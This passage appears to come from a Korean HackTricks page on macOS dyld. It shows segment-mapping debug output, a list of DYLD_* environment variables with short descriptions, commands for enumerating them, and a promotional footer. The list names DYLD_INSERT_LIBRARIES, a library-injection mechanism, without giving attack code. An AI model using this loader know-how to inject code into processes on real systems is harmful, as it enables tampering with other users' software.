dyld[21147]: 0x1D8E24000->0x1DCEBFFFF init=3, max=3 __AUTH
dyld[21147]: 0x1DCEC0000->0x1E22BFFFF init=1, max=3 __AUTH_CONST
dyld[21147]: 0x1E42C0000->0x1E5457FFF init=1, max=1 __LINKEDIT
dyld[21147]: 0x1E5458000->0x22D173FFF init=5, max=5 __TEXT
dyld[21147]: 0x22D174000->0x22D9E3FFF init=1, max=3 __DATA_CONST
dyld[21147]: 0x22F9E4000->0x230F87FFF init=3, max=3 __DATA
dyld[21147]: 0x230F88000->0x234EC3FFF init=3, max=3 __AUTH
dyld[21147]: 0x234EC4000->0x237573FFF init=1, max=3 __AUTH_CONST
dyld[21147]: 0x239574000->0x270BE3FFF init=1, max=1 __LINKEDIT
dyld[21147]: Kernel mapped /private/tmp/a
dyld[21147]: __PAGEZERO (...) 0x000000904000->0x000101208000
dyld[21147]: __TEXT (r.x) 0x000100904000->0x000100908000
dyld[21147]: __DATA_CONST (rw.) 0x000100908000->0x00010090C000
dyld[21147]: __LINKEDIT (r..) 0x00010090C000->0x000100910000
dyld[21147]: Using mapping in dyld cache for /usr/lib/libSystem.B.dylib
dyld[21147]: __TEXT (r.x) 0x00018E59D000->0x00018E59F000
dyld[21147]: __DATA_CONST (rw.) 0x0001D5DFDB98->0x0001D5DFDBA8
dyld[21147]: __AUTH_CONST (rw.) 0x0001DDE015A8->0x0001DDE01878
dyld[21147]: __AUTH (rw.) 0x0001D9688650->0x0001D9688658
dyld[21147]: __DATA (rw.) 0x0001D808AD60->0x0001D808AD68
dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
dyld[21147]: Using mapping in dyld cache for /usr/lib/system/libcache.dylib
dyld[21147]: __TEXT (r.x) 0x00018E597000->0x00018E59D000
dyld[21147]: __DATA_CONST (rw.) 0x0001D5DFDAF0->0x0001D5DFDB98
dyld[21147]: __AUTH_CONST (rw.) 0x0001DDE014D0->0x0001DDE015A8
dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
[...]
```
* **DYLD\_PRINT\_INITIALIZERS**
각 라이브러리 이니셜라이저가 실행될 때 출력합니다:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
[...]
```
### 기타
* `DYLD_BIND_AT_LAUNCH`: 지연 바인딩이 비지연 바인딩으로 해결됨
* `DYLD_DISABLE_PREFETCH`: \_\_DATA 및 \_\_LINKEDIT 콘텐츠의 사전 로드 비활성화
* `DYLD_FORCE_FLAT_NAMESPACE`: 단일 수준의 바인딩
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 해결 경로
* `DYLD_INSERT_LIBRARIES`: 특정 라이브러리 로드
* `DYLD_PRINT_TO_FILE`: 파일에 dyld 디버그 작성
* `DYLD_PRINT_APIS`: libdyld API 호출 출력
* `DYLD_PRINT_APIS_APP`: main이 수행한 libdyld API 호출 출력
* `DYLD_PRINT_BINDINGS`: 바인딩될 때 심볼 출력
* `DYLD_WEAK_BINDINGS`: 바인딩될 때 약한 심볼만 출력
* `DYLD_PRINT_CODE_SIGNATURES`: 코드 서명 등록 작업 출력
* `DYLD_PRINT_DOFS`: 로드된 D-Trace 객체 형식 섹션 출력
* `DYLD_PRINT_ENV`: dyld에서 본 환경 출력
* `DYLD_PRINT_INTERPOSTING`: interposting 작업 출력
* `DYLD_PRINT_LIBRARIES`: 로드된 라이브러리 출력
* `DYLD_PRINT_OPTS`: 로드 옵션 출력
* `DYLD_REBASING`: 심볼 리베이스 작업 출력
* `DYLD_RPATHS`: @rpath의 확장 출력
* `DYLD_PRINT_SEGMENTS`: Mach-O 세그먼트 매핑 출력
* `DYLD_PRINT_STATISTICS`: 타이밍 통계 출력
* `DYLD_PRINT_STATISTICS_DETAILS`: 자세한 타이밍 통계 출력
* `DYLD_PRINT_WARNINGS`: 경고 메시지 출력
* `DYLD_SHARED_CACHE_DIR`: 공유 라이브러리 캐시에 사용할 경로
* `DYLD_SHARED_REGION`: "use", "private", "avoid"
* `DYLD_USE_CLOSURES`: 클로저 활성화
더 많은 내용을 다음과 같이 찾을 수 있습니다:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
또는 [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)에서 dyld 프로젝트를 다운로드하고 폴더 내에서 실행하십시오:
```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## 참고 자료
* [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>